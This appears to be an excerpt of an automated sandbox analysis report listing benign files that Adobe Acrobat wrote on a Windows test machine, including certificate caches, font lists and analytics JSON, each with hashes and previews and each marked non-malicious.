Size (bytes):	8720
Entropy (8bit):	3.765796895001864
Encrypted:	false
SSDEEP:	48:7MIFJioyVUioyioy1C7oy16oy1SKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1A:7NJuUS5XjBipb9IVXEBodRBk+
MD5:	A4EDC34EEC56C3B53D33EF8BCA510783
SHA1:	3B3937A77B501ADA91D5D7EB6225013BE2555A18
SHA-256:	8C8F4FF48A5C47BA75459A6824F4593ABDB9AA380FB2D6FE341745E5CB15BE21
SHA-512:	2979307FA43CF4B24FAF4030BB4187A4A0D9EA6732EC82A52EAD5E4C30E502A131E041087FF789F89B963E5CAA1E0AB0E252D912F858D53F03191E1619FCAF84
Malicious:	false
Preview:	.... .c.....\.j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklQRPtfllXlE/HT8kj+lltNNX8RolJuRdxLlGB9lQRYwpDdt:kKJRPeT8qadNMa8RdWBwRd
MD5:	6129E1529B36721AAAF21A87C4374C08
SHA1:	8BAAEC48D28E9118D3B087A6BFB4AF668EB4E1FB
SHA-256:	297EB37FDFC135CA27607FD86A5908B44FF582737F70682F47A11B1D1E87AD53
SHA-512:	5F50AEEDC7D6DD67FD0EEC14742F23F86734208CA66E7BC9804DDE4FD1312F928279B9300F3E1373BFE9B99F937CCDF32FBC1B520D8E36991D8B923FF9F27F26
Malicious:	false
Preview:	p...... .........g.c..(....................................................... ..........W.....Y..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKpODL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:MDiDImsLNkPlE99SNxAhUe/3
MD5:	11B578A5C6C019E7ED51CA33019EF780
SHA1:	F4EF94D99583BF54BB92BF3C92D8964E3D135F72
SHA-256:	9A564FBCB1E7EE3D62C7A26F526B5F87A3320B2DDCC52E074BE9480803DC668F
SHA-512:	2489FD6DF7663F60D99CF33E53C403B326D22A874E91A2F38CAE2FF214737F1A3A1E1E8F8A5422C34B1B35D333658EEA226E628118F6CE62B6104151D2C86E3A
Malicious:	false
Preview:	p...... .........H.y.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1824

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1824

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362890976232936
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJM3g98kUwPeUkwRe9:YvXKXdTSlOUcZNrGMbLUkee9
MD5:	96B2FE61BBB286EA7DB3AAA6CE9CF59D
SHA1:	1AA89C04979E0E90A39B74BCA5F50844058798CC
SHA-256:	9BD53DDD8B14FEF54D308E4CE1809D32527E5A5DEBDF0B365438D88F40989575
SHA-512:	EE7379540723C13B8B53BCB1FC4C97261680AF3846824210A68BB4372640A663B1FD659F16146ED23C2C849993336EDF331B9C69C2EBD2992383F4C59BAEF37F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312787887079546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJfBoTfXpnrPeUkwRe9:YvXKXdTSlOUcZNrGWTfXcUkee9
MD5:	76A2EE28E78D9C26CF6B92DD6553BF16
SHA1:	B9AD799582AA63177BCCF53C2DABC59B92BC2DC8
SHA-256:	350BFC8FDA25FDB38330513DBE879FB717500024602B817C4FC839F5AB8E3761
SHA-512:	6943D698AF1B3580FB8AE1E83106DF11DA0C676EDF532CA4D63B5BEF4823C333B445470050A47FBD239E4C3EB811ECC694CDD44EAC9559BCD70DC5859FA98E7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292314070153578
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJfBD2G6UpnrPeUkwRe9:YvXKXdTSlOUcZNrGR22cUkee9
MD5:	0F06E97827FF526B5B9D6E27AC80AFD4
SHA1:	B38C7C604D38D4B339877AB41084D1E1098400A0
SHA-256:	FD1A65A06789FAFAD79086FC7FECDB7305000985D559018E77AB3567882F63F4
SHA-512:	CC2919EE4238B8F3D7E0E2F2AF49F6CDBD8FD63AC977D535A0E8E61F5CB3DE349463BA0202043A5D5163BCD41E0A04A641E6057CDECD1E72847BC0EF58192E8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.342896976104443
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJfPmwrPeUkwRe9:YvXKXdTSlOUcZNrGH56Ukee9
MD5:	601876AE8044BE1023A0D8AA20BF1A63
SHA1:	67FFD03D93CDC92F2A5B6B7E2980388FA946961E
SHA-256:	AE9580809CD5D1F5469B79138E917DA02B1F68CC073ECE4C63706E3DE770C004
SHA-512:	41F0502D02BDF2DF7C7FC1FACCA172F940A8E043FF58A6D19E7814D2DF749AB7E498A8EB7E3636F4235BC4DBAEB9000C050AA971FA625F0C43F26A8084271FD9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687963725343603
Encrypted:	false
SSDEEP:	24:Yv6XklWZKpLgE9cQx8LennAvzBvkn0RCmK8czOCCSo:YvNThgy6SAFv5Ah8cv/o
MD5:	DA245592207F9C297792DB2B0E616817
SHA1:	04C174828A82665BD6750A02B034D1FE0E23B53E
SHA-256:	72D91C5A8FA48998572DC038B496D69F35BE74331311517E6872436DE3DD6EF1
SHA-512:	942A25CDE44FE3CF68C9DBC1DD4C2CD92B8C519ECB3831A8292072C864D0199066C0F7CD57103CF406D56A080617F75B239F106D99F62B73460F17AF7AD51577
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290578398331922
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJf8dPeUkwRe9:YvXKXdTSlOUcZNrGU8Ukee9
MD5:	A47882253DFFF79E74CEAFFDDE3A9396
SHA1:	95EB5FAFBF0B18BCE3EFBE0790F8A2AA6F4ECEAE
SHA-256:	FA3CDD5D05DAB50D57B18E2759D3A41C87513EBAC53A29D4FE5FEC8C5F5A8CDB
SHA-512:	0F6F1CDBA1E57EC130DEA730E4BAA5BA94034D8BCCD1B19E3BB81C467943249CF90669CF03AFC89CE0CFEA4A5942DBB9D97B1905765A0D5BF8DEFF6F966DAADC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.292792662075403
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJfQ1rPeUkwRe9:YvXKXdTSlOUcZNrGY16Ukee9
MD5:	BE5A13E7898983BE6861D21E0D2E9E4E
SHA1:	69E8EF46534056508EE8AB3E28FB51B35AFD0496
SHA-256:	FEF64DDFFAF0FB5FAA572DC4C611DBBEC04BBD3A319823EA94FB026B9D0A3845
SHA-512:	E3D06FB9320AA8DE332E42E863BB21EE6603918A0FB9F3BD372A3558B8267B010578C4C5F33A32684E33419249EA4D3EE3420908AF3BCCB15D6DDD257625F9FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300562899240724
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJfFldPeUkwRe9:YvXKXdTSlOUcZNrGz8Ukee9
MD5:	83F6A1BA8E7F196A4B473019D8502053
SHA1:	37B723F7D82C7B8355836180EA6E4FA6D8B9EEC1
SHA-256:	9B9DC43C75079E6263317042CA0DD7DDBC2E665422F25DFBD560A40921DF0F32
SHA-512:	493743769B4918693508C8F9640EE6ED148579B696C13081A823E25D27E589A593282C3FDBBAFF24B14C8655C5D1DE313D8457E99028AB5E2C669FC916FDB01F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3164273762943335
Encrypted:	false
